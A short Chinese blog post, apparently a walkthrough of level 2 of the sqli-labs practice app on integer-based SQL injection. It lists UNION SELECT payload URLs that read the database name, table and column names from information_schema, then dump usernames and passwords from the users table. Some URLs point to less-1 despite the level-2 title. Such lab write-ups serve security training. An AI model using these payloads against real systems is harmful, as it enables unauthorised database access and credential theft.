sql整数型注入-sqli第2关

第二关注入语法

http://sqli/less-1/?id=0 union select 111,222,database() -- - 
爆当前使用的数据库名

http://sqli/less-1/?id=0 union select 111,222,group_concat(table_name) from information_schema.tables where table_schema = 'security'  -- -
爆数据库的表名

http://sqli/less-1/?id=0 union select 111,222,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'  -- -
爆users表中的字段信息

http://sqli/Less-2/?id=0 union select 111,group_concat(username),group_concat(password) from security.users -- -
爆users表中的信息

标签：group,整数型,sqli,111,sql,table,id,select
来源： https://blog.csdn.net/weixin_46784800/article/details/121143022